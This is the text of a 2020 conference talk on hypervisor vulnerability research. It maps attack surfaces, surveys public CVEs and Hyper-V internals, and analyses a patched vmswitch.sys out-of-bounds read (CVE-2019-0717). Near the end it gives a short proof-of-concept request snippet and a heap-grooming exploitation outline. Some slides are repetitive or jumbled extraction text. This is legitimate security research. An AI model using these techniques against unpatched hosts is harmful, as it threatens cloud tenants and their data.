Hypervisor Vulnerability Research

State of the Art

Alisa Esage

Zero Day Engineering

Special for POC x Zer0Con 2020
About me

- Independent vulnerability researcher & low-level hacker
  - Historically Browsers, Microsoft Windows, Kernel, etc.
  - RECON 2009, ZeroNights 2011, PHDays 2014 speaker
  - Phrack 2015: “Exploitation of Microsoft XML”

- Modern hypervisors (past 3 years)
  - ZDI Silver 2018 (VirtualBox bugs)
  - Deep research focus on hardened systems (ESXi, Hyper-V, …?)
  - Abstraction & generalization. How to attack all hypervisors at once?

- Zero Day Engineering
  - Training: “Hypervisor Exploitation I: System Internals and Vulnerabilities”
Why Virtualization?

Mainly for fun. If you compare hypervisors to browsers, the latter have roughly same amount and complexity of technological stacks, with less depth.

A typical hypervisor system spans multiple privilege boundaries, talks to hardware, and embraces all mainstream OS’s at the lowest level.

I like both ultra low-level tech and long-chain RCE, so it came up as a natural choice for my research.
Agenda

1, 2: research directors, C-level and everyone else
2, 3: security researchers, software engineers, hackers

- The Big Picture
  - Technological stack
  - Threat models
  - Challenges

- Microsoft Hyper-V
  - Attack vectors
  - Research trends
  - Personal insights

- Virtual Network Switch
  - Architecture
  - Undocumented internals
  - Example vulnerability

All materials in this presentation are based on my own original work, unless explicitly stated otherwise.
Part 1

The Big Picture
Agenda

- The Big Picture
  - Technological stack
  - Threat models
  - Challenges
- Microsoft Hyper-V
- Virtual Network Switch
Virtualization history

1950s: time sharing research

1960s: first implementations
- Atlas computer
- 1968: first hypervisor (IBM)

1970s: mainstream adoption & popularity
- 1974: “Survey of Virtual Machines Research”

1980s: paradigm shift

1990s: 2nd wave of implementations
- 1988: SoftPC
- 1994: Bochs

2000s: modern virtualization systems; major acquisitions
- 2003: Xen
- 2005/6: Intel VTx & AMD-V
- 2007: VirtualBox

2010s: containers (portability) and sandboxing (security)
Virtualization history

1950s: time sharing research

1960s: first implementations
  - Atlas computer
  - 1968: first hypervisor (IBM)

1970s: mainstream adoption & popularity
  - 1974: “Survey of Virtual Machines Research”

1980s: paradigm shift

1990s: 2nd wave of implementations
  - 1988: SoftPC
  - 1994: Bochs

2000s: modern virtualization systems; major acquisitions
  - 2003: Xen
  - 2005/6: Intel VTx & AMD-V
  - 2007: VirtualBox

2010s: containers (portability) and sandboxing (security) 3rd wave now
Virtualization history

(Speaker’s notes) Virtualization tech as we know it came recurring in 3 distinct waves, each servicing a completely different purpose, as dictated by the technological and societal demands of the time. 

This is the main point to learn from history: virtualization technology is not going to go away any time soon. It’s an essential conceptual element of the modern stack of computer technologies that will always be relevant and security-critical.
Technological Stack
Virtualization Technologies

Bare metal hypervisors
- VMware ESXi
- Xen
- Microsoft Hyper-V

Hosted hypervisors
- Oracle VirtualBox
- VMware Workstation, Fusion, Player
- Parallels Desktop
- Linux KVM
- FreeBSD hvy
- ... (via API)
- Amazon Firecracker
- Google crosvm

3rd party stacks
- Slirp
- Networking
- EDK2
- Libpng
- Graphics lib
- Etc.

Consumers
- Amazon (KVM)
- Azure (Hyper-V)
- Clouds
- Containers
- Kubernetes
- Docker
- VMware vCenter

Management Frontends
- Intel VT-x
- AMD-V
- ARMv7+
- EPT
- RVI

Emulators
- Qemu
- Bochs
- ...
Virtualization Technologies

Bare metal hypervisors
- VMware ESXi
- Xen
- Oracle VirtualBox
- Microsoft Hyper-V

Hosted hypervisors
- VMware Workstation, Fusion, Player
- Parallels Desktop
- FreeBSD bhyve
- Linux KVM
- Amazon Firecracker
- ... (via API)
- Google crosvm

Emulators
- Qemu
- Bochs

Hardware virtualization extensions
- Intel VT-x
- AMD-V
- ARMv7+
- EPT
- RV1

Containers
- Kubernetes
- Docker

Clouds
- Amazon (KVM)
- Azure (Hyper-V)

3rd party stacks
- Networking
- Boot firmware
- Libpng
- Graphics libs
- Etc.

Consumers
Intel VT-x at a glance

Concepts

- Special CPU modes
  - VMX root + VMX non-root
- VMCS
  - Controls mode transitions
  - Stores per-mode state
- ISA extensions →

Top-level logic

- Test VMX supported
  - CPUID.1:ECX.VMX[bit 5] = 1
- Enable VMX mode
  - CR4.VMXE[bit 13] = 1
- Prepare VMCS struct
  - Maybe multiple
- Launch VM; Process VM exits; Resume VM

CPU Instructions: VMX root mode

- VMX management
  - vmxon / vmxoff
  - vmlaunch / vmresume
- VMCS management
  - vmread / vmwrite / vmclear
  - vmptrst / vmptrld
- EPT & vPID
  - invept
  - invvpid

Guest VM (VMX non-root)

- Hypercall
  - vmcall
  - vmfunc
Nested virtualization

turtles

IF YOU DO MEMES ALL THE TIME

WHY CAN'T YOU DO JUST ONE MORE?
Threat Models
Architectural breakdown + attack surfaces (1)

**Host modules**
- Hypercall interface
- Hardware VMX
- Privileged drivers
- Inter-VM networking
- Printing services
- Etc.

**Extensions**
- 3D/2D acceleration
- Graphics
- Shared folders
- Shared everything
- Rich functionality

**Virtualized devices**
- USB
- PCI
- Buses
- Emulated devices
- Paravirtualized
- Peripherals

**VMM**
- Shadow PTE
- Nested page tables
- MMU virtualization
- ISA emulation
- vAPIC
- CPU virtualization

**Interfaces**
- Hypercall interface
- Inter-VM networking
- Printing services
- Hypercall interface
- Extensions protocol

**Note: INCOMPLETE!**
(Speaker’s notes) This diagram is a generalized abstract model of a hypervisor system. It combines a logical view of common architectural building blocks of a hypervisor with a technically specific (if incomplete) view of attack surfaces and attack vectors. The purpose of this diagram is to establish a basis for systematization of hypervisor attack surfaces and vectors. It is incomplete and does not include everything. Starting from right to left ...

Extensions: all sorts of non-essential functionality which is not strictly required for VM operation, though makes its use a lot more convenient, and in fact necessary for any real use cases of a modern OS -based VM. A subset of this is known as guest additions / guest services / VM tools.

Interfaces: are software constructs that enable communication between the hv and the virtualized system, various parts of the system, and inter-VMs. In modern systems, interfaces are often reused for several purposes (for ex. A hypercall interface may be used to execute VMM-level operations as well as provide extended functionality to Guest OS) hence interfaces cannot be classified as part of another subsystem.
Architectural breakdown + attack surfaces (2)

Hypercall interface

Handwritten notes:
- Privileged drivers
- Hypercall interface
- Inter-VM networking
- Printing services
- Etc.

Extensions:
- VM escapes
- Hypercall handlers

Host modules:
- Local EoP
- 3D/2D acceleration
- Graphics
- 3D/2D acceleration
- Shaders
- Rich functionality
- Shared folders
- Shared everything
- Rich functionality

Virtualized devices:
- UHCI, OHCI, xHCI, eHCI
- USB
- PCI
- Classical models: E1000, Virtio, DEC...
- Buses
- Emulated devices
- Paravirtualized
- Peripherals
- vAPIC
- Synthetic models, hypercall-based IO

VMM:
- Shadow PTE
- Nested page tables
- MMU
- ISA emulation
- MMU
- Note on hardware virtualization support

Interfaces:
- Note: INCOMPLETE!
- DHCP, TFPT, PXE boot, zero-conf
- 3D/2D acceleration
- Graphics
- Shared folders
- Shared everything
- Rich functionality

Extensions protocols:
- UHCI, OHCI, xHCI, eHCI
- Classical models: E1000, Virtio, DEC...
- Buses
- Emulated devices
- Paravirtualized
- Peripherals
- vAPIC
- Synthetic models, hypercall-based IO

MYTH ALERT

Technological mess

Local EoP

VM escapes
Architectural breakdown + attack surfaces (2)

(Speaker’s notes) The boxes represent attack surfaces: dark gray (1st order), light gray (2nd order), pink (3rd order) and so on. Green boxes on this picture come close to specific attack vectors that we can target. Still, each technology mentioned in a green box is usually an opportunity of under a dozen of distinct attack vectors.
Architectural breakdown + attack surfaces (3)

Host modules
- Privileged drivers
  - CVE-2013-1406: Local EoP in VMware Workstation VMCI driver
  - CVE-2019-5544: VMware ESXi OpenSLP buffer overflow (TianfuCup 2019)
- Etc.

Host modules
- Hypercall interface

Virtualized devices
- CPU virtualization
  - CVE-2016-1570, CVE-2015-7835: Xen page table translation logic errors

Virtualized devices
- MMU virtualization
  - CVE-2014-7155: Xen x86 HLT, LGDT, LIDT, and LMSW emulation

Interface
- Interfaces
- Extensions protocol

Peripherals
- Rich functionality
  - CVE-2016-7461: VMware Workstation Drag&drop

Peripherals
- CVE: homework

Buses
- CVE-2015-3456: Qemu Floppy controller buffer overflow (VENOM)

Buses

Graphics
- 3D/2D acceleration

Graphics
- CVE-2017-4924: VMWare shaders

Graphics
- CVE-2017-7228: Xen memory_exchange()

Privileged drivers
- Hypercall interface
- Hardware VMX

CVEs:
- CVE-2015-3456: Qemu Floppy controller buffer overflow (VENOM)
- CVE-2014-7155: Xen x86 HLT, LGDT, LIDT, and LMSW emulation
- CVE-2017-4924: VMWare shaders
- CVE-2017-7228: Xen memory_exchange()
(Speaker’s notes) This view presents examples of bugs in each attack surface of 2nd order. Bug samples were chosen pseudo-randomly based on two criteria: 1) being a somewhat canonical representative of a particular attack vector, and 2) a public writeup of decent quality is available.
Architectural breakdown + attack surfaces (4)

- **Host modules**
  - Privileged drivers
    - CVE-2013-1406: Local EoP in VMware Workstation VMCI driver
    - CVE-2019-5544: VMware ESXi OpenSLP buffer overflow (TianfuCup 2019)
  - Etc.

- **Virtualized devices**
  - Hypercall interface
    - CVE-2017-7228: Xen memory_exchange()
  - Interfaces
  - Extensions protocol
    - CVE: homework

- **Buses**
  - Buses
    - CVE-2016-7461: VMware Workstation Drag&drop
  - Peripherals
    - CVE-2015-3456: Qemu Floppy controller buffer overflow (VENOM)

- **Graphics**
  - Graphics
    - CVE-2016-4924: VMware shaders
  - Rich functionality

- **MMU virtualization**
  - MMU virtualization
    - CVE-2015-7835: Xen page table translation logic errors

- **CPU virtualization**
  - CPU virtualization
    - CVE-2016-1570, CVE-2015-7835: Xen page table translation logic errors
    - CVE-2014-7155: Xen x86 HLT, LGDT, LIDT, and LMSW emulation

- **Extensions**
  - Extensions protocol

- **Peripherals**
  - Peripherals

- **Privileged drivers**
  - Privileged drivers
    - Hypercall interface
      - CVE-2017-7228: Xen memory_exchange()

- **Interfaces**
  - Interfaces

- **Extensions protocol**
  - Extensions protocol

Note: INCOMPLETE!
Architectural breakdown + attack surfaces (4)

(Speaker’s notes) This final view presents an heuristic approximation chart of the vulnerability research trend in hypervisors, generalized, quantitatively over the years. Dataset is my brain. Historically most bughunting attention was given to virtualization extensions (guest services), with a shift to virtualized devices in the past years. Attacking hypercalls is popular, bounded by per-implementation availability. The EoP attack surface is mostly neglected in general. Bugs in vCPU and vMMU are rare.
Challenges
Virtualization vulnerability research

What do we have?

- Plenty of knowns
  - Dozens of papers, hundreds of security vulnerabilities, very mature technological ecosystem
- Plenty of novelty challenges
  - Hidden behind the seemingly overpopulated publications space (same situation as iOS)
- Hard
  - All mainstream hypervisors are naturally hardened by many years of crowdsourced bug hunting
- High-yield
  - Immense cost of compromise (all the enterprise cloud ecosystem, etc.)

What is missing?

- Generalized research
  - Conceptualize and attack all hypervisors at once
  - A small handful of publications
  - Researchers tend to focus on one attack vector, not even one system!
  - Too huge and complex to grasp?
- Effective fuzzing
  - Distinct technical challenge: split worlds model + non-uniform attack surface + perf and manage costs
- Hard targets research
  - VMware ESXi
  - Microsoft Hyper-V
  - ? Rust-based implementations
Fuzzing hypervisors

Status

- Type 2: none “out of the box” tools
- Type 1 fuzzing is a blank space
- Required lots of high-profile specialized technical work either way
- Limited success reported (heavily modified) afl/WinAFL, only Type 2 hv
- Basic workflow:
  - Choose the input vector
  - Research how to reach it
  - Code a harness to redirect fuzzer output to your harness
  - Collect coverage in another world and feed it to fuzzer via shared memory or network

Challenges

- Collecting coverage across the split world model boundary
  - Intel PT - natural choice, not supported anywhere out of the box
  - Synthetic sharing of cov data
- Choice, discovery and harnessing of a specific input vector
  - Most important decision
- Generalized fuzzing - theoretically possible, POCs exist, not trivial
  - CBS/SeaBios 2016, VDF 2017, Hyper-Cube 2020
- Full-system emulation of a modern T1 hypervisor? Good luck with that
Fuzzing hypervisors

A.6 MISCELLANEOUS DATA

The IA32_VMX_MISC MSR (index 485H) consists of the following fields:

- Bits 4:0 report a value X that specifies the relationship between the rate of the VMX-preemption timer and that of the timestamp counter (TSC). Specifically, the VMX-preemption timer (if it is active) counts down by 1 every time bit X in the TSC changes due to a TSC increment.
- If bit 5 is read as 1, VM exits store the value of IA32_EFER.LMA into the “IA-32e mode guest” VM-entry control; see Section 27.2 for more details. This bit is read as 1 on any logical processor that supports the 1-setting of the “unrestricted guest” VM-execution control.
- Bits 8:6 report, as a bitmap, the activity states supported by the implementation:
  - Bit 6 reports (if set) the support for activity state 1 (HLT).
  - Bit 7 reports (if set) the support for activity state 2 (shutdown).
  - Bit 8 reports (if set) the support for activity state 3 (wait-for-SIPI).

If an activity state is not supported, the implementation causes a VM entry to fail if it attempts to establish that activity state. All implementations support VM entry to activity state 0 (active).

- If bit 14 is read as 1, Intel® Processor Trace (Intel PT) can be used in VMX operation. If the processor supports Intel PT but does not allow it to be used in VMX operation, execution of VMXON clears IA32_RTIT_CTL.TraceEn (see “VMXON—Enter VMX Operation” in Chapter 30); any attempt to write IA32_RTIT_CTL while in VMX operation (including VMX root operation) causes a general-protection exception.
Hard Targets
POC:
1. Set bogus devShared DMA address
2. Enter the vuln code path (left)

Custom named by me, it's actually PhysMem_MapPage()

Patch ½, added check for PhysMem_MapPage() call failure

CVE-2018-6981/2 (patched)

https://twitter.com/alisaesage/status/114605943225582211?s=20

https://github.com/badd1e/Disclosures/tree/master/CVE-2018-6981_VMware_ESXi

PCI BAR1 set command switch (update mac filters command)
(Speaker’s notes) For VMware ESXi, only a handful of impactful RCE (vm escape) vulnerabilities are known. Only two exploits has been demonstrated: one at GeekPwn 2018, and one more at TianfuCup 2019. The ESXi target at Pwn2own stands unpwned for several years with a somewhat above-average bounty, that supports our observation that being an interesting target.

I have reverse-engineered and reproduced both of exploited vulnerabilities based on security patches. This slide shows the first bug. The paper was eventually published by the exploit authors, but the exploit code or PoC was never published, aside from the PoC that I developed independently.

POC:
1. Set bogus devShared DMA address
2. Enter the vuln code path (left)

Patch ½, added check for PhysMem_MapPage() call failure

CVE-2018-6981/2 (patched)

Custom named by me, it’s actually PhysMem_MapPage()
VMware ESXi TianfuCup 2019

```c
TO_UINT16(urelentry->opaque + 1, urelentry->lifetime);

memcpy(result->curpos, urelentry->opaque, urelentry->opaquelen);
result->curpos += urelentry->opaquelen;

if (RemainingBufferSpace(result) >= urelentry->opaquelen)
{
    memcpy(result->curpos, urelentry->opaque, urelentry->opaquelen);
    result->curpos = result->curpos + urelentry->opaquelen;
}
else
{
    SLPDLog("Opaque Url too big (ask: %d have %" PRIId64 "), failing
    urelentry->opaquelen, (int64_t) RemainingBufferSpace(res
    ercode = SLP_ERROR_PARSE_ERROR;
    goto FINISHED;
}
Part 2
Microsoft Hyper-V
Agenda

- The Big Picture
- Microsoft Hyper-V
  - Attack vectors
  - Research trends
  - Personal insights
- Virtual Network Switch
Microsoft Hyper-V: Implementation Bits

Interfaces

- Well defined hypercall interface
  - Native (Intel VT-x / AMD-V)
  - Open source functional specification (TLFS)
  - Least privilege, minimal functionality
- Centered around paravirtualization
  - VMBUS - Virtual Machine bus
  - Shared memory, ring buffers, channels, vdevice-specific protocols
  - Exception: Generation 1 VMs
- Split driver model for pv devices
  - VSPs + VSCs
  - Linux Integration Services
  - Microsoft drivers (built-in)

Modules

- “The” hypervisor (VMM)
  - hvix64.exe / hvax64.exe
- Kernel modules: vm*.sys
  - VMBUS (vmbusr.sys)
  - PCI (vpcivsp.sys)
  - Virtual Network Switch (vmswitch.sys)
- Userland modules: vm*.dll
  - I/O emulation
  - Video (VMUiDevices.dll)
  - Storage (VMEmulatedStorage.dll)
  - VMBUS userland interfaces
Where is my E1000???

There are some obvious devices we removed. For example, the legacy network adapter (which is an emulated device based on a DEC/Intel/Tulip 21140). Then we removed the IDE controller. And the floppy controller plus associated DMA controller. And the serial controller (COM ports). These are all things you can directly see in the VM settings.

Then we changed other devices such as removing the legacy i8042 keyboard controller (which has an interesting side effect I will talk about in a future part), PS/2 mouse, S3 Video, the Programmable Interrupt Controller (PIC), the Programmable Interrupt Timer (PIT), the Super I/O device on which floppy support relied. We actually went even further by removing the PCI bus as well. For good measure, we also removed the speaker and the numerical co-processor. We also revised ACPI.

Of course, when you rip this much out, you may initially think ‘could an operating system boot in this environment?’. With just the above changes, the answer would be no. Primarily because the most common ways of booting a generation 1 VM are a disk/VHD attached to an IDE controller, an ISO/DVD drive attached to an IDE controller, or PXE boot from the legacy network adapter. I’m ignoring boot from floppy (.VFD) – I’m sure not many people do this these days!
Attack vectors: Microsoft Hyper-V (official v’u)

Host modules
- Hypercall interface
- Hardware VMX
- Privileged drivers
- Inter-VM networking
- Printing services
- Etc.

Extensions
- 3D/2D acceleration
- Shader rendering
- Graphics
- Shared folders
- Shared everything
- Rich functionality

Virtualized devices
- USB
- PCI
- Buses
- Embedded devices
- Paravirtualized
- Peripherals
- vAPIC

VMM
- Shadow PTE
- Nested page tables
- MMU virtualization
- ISA emulation
- CPU virtualization

Interfaces
- Hypercall interface
- Extens...
Attack vectors: Microsoft Hyper-V (reality)

Host modules
- Hypercall interface
- Hardware VMX
- Privileged drivers
- Inter-VM networking
- Printing services
- Etc.

Extensions
- RemoteFX
- Enhanced Sessions (RDP)
- 3D/2D acceleration
- Shaders
- Rich functionality
- Shared folders
- Shared everything
- Privileged drivers
- Hypercall interface
- Inter-VM networking
- Printing services
- Etc.

Virtualized devices
- PCI Pass Through (Server)
- Expanded devices
- Paravirtualized
- Peripherals
- CPU virtualization
- ISA emulation
- vAPIC
- Etc.

VMM
- Shadow PTE
- Nested page tables
- MMU virtualization
- Inter-VM networking
- Printing services
- Etc.

Interfaces
- Extensions protocol
- Enhanced Sessions (RDP)
- RemoteFX
- PCI Pass Through (Server)
- Generation 1
- Etc.
Attack vectors: Microsoft Hyper-V (vulns)

- **Host modules**
  - Local EoP 0day via storvsp device object (src: Twitter)
  - Local EoP via Virtual Network Switch (no public info)

- **Virtualized devices**
  - CVE-2017-8706: VideoSynthDevice uninitialized stack object
  - CVE-2018-0959: VmEmulatedStorage buffer overflow

- **Interfaces**
  - Hypercall interface
  - MMU virtualization
  - CPU virtualization

- **Privileged drivers**
  - CVE-2018-0964: VpciMsgCreateInterrupt Message Uninitialized Stack Object
  - CVE-2018-0959: VmEmulatedStorage buffer overflow

- **Extensions**
  - None yet
  - CVE-2020-0890: VMLAUNCH/VMRESUM E null deref in nested mode

- **Miscellaneous**
  - CVE-2018-8439: UaF in vmbusr.sys HvPostMessage ChannelMessageOpen/CloseChannel
Attack vectors: Microsoft Hyper-V (trends)

- Local EoP 0day via storvsp device object (src: Twitter)
- Local EoP via Virtual Network Switch (no public info)
- Privileged drivers
- Host modules
- Virtualized devices
- CPU virtualization
- MMU virtualization
- Interfaces
- Etc.

Heuristic approximation: Hyper-V vs. General trend in public vulnerability disclosures

- CVE-2018-8439: UaF in vmbusr.sys HvPostMessage ChannelMessageOpen/Close Channel
- CVE-2017-8706: VideoSynthDevice uninitialized stack object
- CVE-2018-0964: VpciMsgCreateInterrupt Message Uninitialized Stack Object
- CVE-2018-0959: VmEmulatedStorage buffer overflow


CVE-2018-0964: VpciMsgCreateInterrupt Message Uninitialized Stack Object

CVE-2017-8706: VideoSynthDevice uninitialized stack object

CVE-2018-0959: VmEmulatedStorage buffer overflow

CVE-2018-0890: VMLAUNCH / VMRESUME null deref in nested mode
Part 3
Hyper-V
Virtual Network Switch
Agenda

● The Big Picture
● Microsoft Hyper-V
● Virtual Network Switch
  ○ Architecture
  ○ Undocumented internals
  ○ Example vulnerability
Where is it?

https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/reference/hyper-v-architecture
Microsoft Hyper-V: Virtual Network Switch

Overview

- Omnipresent and mandatory component that lives in the kernel of the root partition (host OS)
- Purely synthetic paravirtualized device
- Handles all and everything networking in a Hyper-V cloud
  - Network connectivity inside VMs
  - Generation 1 & 2
  - Bridging to physical adapters
  - Switching to networks
  - Inter-VM networking
- Privileged attack surface reachable directly from the Guest VM

Implementation

- RNDIS-compliant virtual ethernet controller
- Paravirtualized guests talk to it directly by sending RNDIS messages with OID commands over the VMBUS
- Huge
RNDIS

The following Remote NDIS message set mirrors the semantics of the NDIS miniport driver interface:

- Initializing, resetting, and halting device operation
- Transmitting and receiving networking data packets
- Setting and querying device operational parameters
- Indicating media link status and monitoring device status

Microsoft documentation


Ntddndis.h (Windows SDK)

```c
// OIDs used for Hyper-V extensible switch

#define OID_SWITCH_PROPERTY_ADD 0x00018263 // set only
#define OID_SWITCH_PROPERTY_UPDATE 0x00018264 // set only
#define OID_SWITCH_PROPERTY_DELETE 0x00018265 // set only
#define OID_SWITCH_PROPERTY_ENUM 0x00018266 // method only
#define OID_SWITCH_FEATURE_STATUS_QUERY 0x00018267 // method only

#define OID_SWITCH_NIC_REQUEST 0x00018270 // method only
#define OID_SWITCH_NIC_PORT_PROPERTY_ADD 0x00018271 // set only
#define OID_SWITCH_NIC_PORT_PROPERTY_UPDATE 0x00018272 // set only
#define OID_SWITCH_NIC_PORT_PROPERTY_DELETE 0x00018273 // set only
#define OID_SWITCH_NIC_PORT_PROPERTY_ENUM 0x00018274 // method only
#define OID_SWITCH_NIC_PORT_PARAMETERS 0x00018275 // query only
#define OID_SWITCH_NIC_PORT_ARRAY 0x00018276 // query only
#define OID_SWITCH_NIC_NIC_ARRAY 0x00018277 // query only
#define OID_SWITCH_NIC_PORT_CREATE 0x00018278 // set only
```
Virtual Network Switch Internals
RNDIS vs. vmswitch

Theory (RNDIS specification)

<table>
<thead>
<tr>
<th>MessageType</th>
<th>MessageLength</th>
<th>RequestID</th>
</tr>
</thead>
<tbody>
<tr>
<td>0 1 2 3 4 5 6 7 8 9 1 0 1 2 3 4 5 6 7 8 9 0 1</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Host OS kernel (vmswitch.sys)

```
static void rndis_filter_halt_device(struct netdev_device *netdev,  
                                 struct rndis_device *dev)  
{  
    struct rndis_request *request;  
    struct rndis_halts_request *halt;  

    /* Attempt to do a rndis device halt */  
    request = get_rndis_request(dev, RNDIS_MSG_HALT,  
                               RNDIS_MESSAGE_SIZE(struct rndis_halt_request));  
    if (!request)  
        goto cleanup;

    /* Setup the rndis set */  
    halt = &request->request_msg.msg.halt_req;  
    halt->req_id = atomic_inc_return(&dev->new_req_id);  

    /* Ignore return since this msg is optional. */  
    if (rndis_filter_send_request(dev, request))  
        dev->state = RNDIS_DEV_UNINITIALIZED;  

    cleanup:  
```
Main Flow

Switch handler by message type

Initialize callbacks to kernel DPC

Main entry point from VM, triggered on synthetic interrupt

VmsCdDeviceRegister

```
// Code snippet...
```

```
; VmCdDeviceRegister

; Initialize callbacks to kernel DPC
;

; Main entry point from VM, triggered on synthetic interrupt
;

VmsVmNicPvtKmc1 Processing Complete is near-root handler of incoming packets

Pool block ffff90f1bf2fa0, Size 0000000000000000, Thread ffff90f18b5d5080

```

```
RndisDevHostDispatchControlMessage -> RndisDevHostQueueWorkItem

-> RndisDevHostControlMessageWorkerRoutine -> handlers
```
Downstream flow from *SetRequestCommon handler (top left)
Virtual Network Switch Vulnerability (CVE-2019-0717)
VmsMpCommonPvtSetRequestCommon OOBR

- Off-by-N Out of Bounds Read Access in handling of RNDIS SET requests in vmswitch.sys
- `memcmp` with fixed length
- Extremely narrow edge bug
  - Bypass some dozen of checks
  - Data buffer must sit on the edge of a memory page followed by free space to crash
  - Special crafting of multiple parameters to bypass the checks
- Found in 2018 with a custom fuzzer that I wrote

```c
/* Format of Information buffer passed in a SetRequest for the OID */
/* OID_GEN_RNDIS_CONFIG_PARAMETER. */
struct rndis_config_parameter_info {
    u32 parameter_name_offset;
    u32 parameter_name_length;
    u32 parameter_type;
    u32 parameter_value_offset;
    u32 parameter_value_length;
};
```
VmsMpCommonPvtSetRequestCommon (vuln)

```
.text:00000001C001FB07 loc_1C001FB07:  ; CODE XREF: VmsMpCommonPvtSetRequestCommon+D0+7
.text:00000001C001FB07 movups xmm0, xmmword ptr [r9]
.text:00000001C001FB0B mov r12d, [r9+10h]
.text:00000001C001FB0F mov [rbp+var_10], r12d
.text:00000001C001FB13 movd edx, xmm0
.text:00000001C001FB17 movups [rbp+arg_offset_copy2], xmm0
.text:00000001C001FB1B cmp edi, edx ; size < parameter_name_offset ?
.text:00000001C001FB1D jb @error
.text:00000001C001FB23 mov rcx, qword ptr [rbp+arg_offset_copy2]
.text:00000001C001FB27 mov eax, edi
.text:00000001C001FB29 shr rcx, 20h
.text:00000001C001FB2D sub eax, edx
.text:00000001C001FB2F cmp eax, ecx ; size - parameter_name_offset < parameter_name_length ?
.text:00000001C001FB31 jb @error
.text:00000001C001FB37 shr rcx, 20h
.text:00000001C001FB3B cmp edi, ecx ; size < parameter_value_offset ?
.text:00000001C001FB3F jb @error2
.text:00000001C001FB41 mov eax, edi
.text:00000001C001FB47 sub eax, ecx
.text:00000001C001FB49 cmp eax, r12d ; size - parameter_value_offset < parameter_value_length ?
.text:00000001C001FB4B jb @error2
.text:00000001C001FB4E mov r15d, edx
.text:00000001C001FB54 lea r13, [r9+rcx]
.text:00000001C001FB57 add r15, r9
.text:00000001C001FB5B lea rcx, aNetworkaddress ; "NetworkAddress"
.text:00000001C001FB5E mov rdx, r15 ; Buf2
.text:00000001C001FB65 mov r8d, 1Ch ; Size
.text:00000001C001FB68 call memcmp
```
VmsMpCommonPvtSetRequestCommon (PoC)

- PoC: send RNDIS set request from VM with RNDIS_OID_GEN_RNDIS_CONFIG_PARAMETER and specially crafted parameters
- Can be rapid-prototyped on LIS (rndis_filter_set_device_mac())
- Craft parameter_name_offset to point to the edge of the packet, other values to bypass the checks


```c
/* Format of Information buffer passed in a SetRequest for the OID */
/* OID_GEN_RNDIS_CONFIG_PARAMETER. */
struct rndis_config_parameter_info {
    u32 parameter_name_offset;
    u32 parameter_name_length;
    u32 parameter_type;
    u32 parameter_value_offset;
    u32 parameter_value_length;
};
```

```c
set = &request->request_msg.msg.set_req;
set->oid = RNDIS_OID_GEN_RNDIS_CONFIG_PARAMETER;
set->info_buflen = extlen;
set->info_buf_offset = sizeof(struct rndis_set_request);
set->dev_vc_handle = 0;

CPI = (struct rndis_config_parameter_info *)((ulong)set +
    set->info_buf_offset);
CPI->parameter_name_offset =
    sizeof(struct rndis_config_parameter_info) + 6;
/* Multiply by 2 because host needs 2 bytes (utf16) for each char */
CPI->parameter_name_length = 0;
CPI->parameter_type = RNDIS_CONFIG_PARAM_TYPE_STRING;
CPI->parameter_value_offset =
    CPI->parameter_name_offset;
/* Multiply by 4 because each MAC byte displayed as 2 utf16 chars */
CPI->parameter_value_length = 0;
ret = rndis_filter_send_request(rdev, request);
```
VmsMpCommonPvtSetRequestCommon (patch)

Vulnerable
vmswitch.sys

Patched

```c
char __fastcall VmsUtilStrMatch(const void **str1, __int32 str2)
{
    char result; // bl
    result = 0;
    if (*(_WORD*)str1 == *(_WORD*)str2)
    {
        result = 1;
    }
    return result;
}
```
Exploitation Algorithm

Theoretical

- Vmswitch allocates memory for incoming RNDIS requests (right) based on requested size, frees them upon completion ⇒ (somewhat) controlled heap grooming primitive
- General idea: alternating pattern of memory pages
  - 1: Active pool page with a free spot at the edge of the page
  - 2: Free’d page
- How to:
  - Flush free-lists and lookaside by sending many small requests to get a scratch memory page
  - Fill page 1 leaving a known-size free spot at the edge
  - Fill page 2, then free it, etc.
  - Trigger the bug

1: kd> !verifier 80 r0...

Pool block ffff0f1b0f2fa0, Size 0000000000000000, Thread ffff0f1b0f5808

```assembly
Pool block ffff0f1b0f2fa0, Size 0000000000000000, Thread ffff0f1b0f5808
movsx rdx, edi ; NumberOfBytes
mov ecx, 200h ; PoolType
mov r8d, 44527356h ; Tag
call cs:__imp_ExAllocatePoolWithTag
nop dword ptr [rax+rax+00h]
mov rbp, rax
test rax, rax
jz loc_1C0069E31
mov rdx, [r8]
mov ecx, [rax+28h]
mov [rbp+00h], ecx
mov r8d, ecx ; Size
lea rcx, [rbp+14h] ; Dist
call memmove
```
References

- [MS-RNDIS]. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/WinArchive/%5bMS-RNDIS%5d.pdf
Recommended reading

Virtualization security

Generalized deep technical -

- https://www.ernw.de/download/xenpwn.pdf
- https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf

Quality reference - system internals & vulndev primitives -

- https://census-labs.com/media/straightoutavmware-wp.pdf

Frontiers: Hyper-V, ESXi, speculative execution
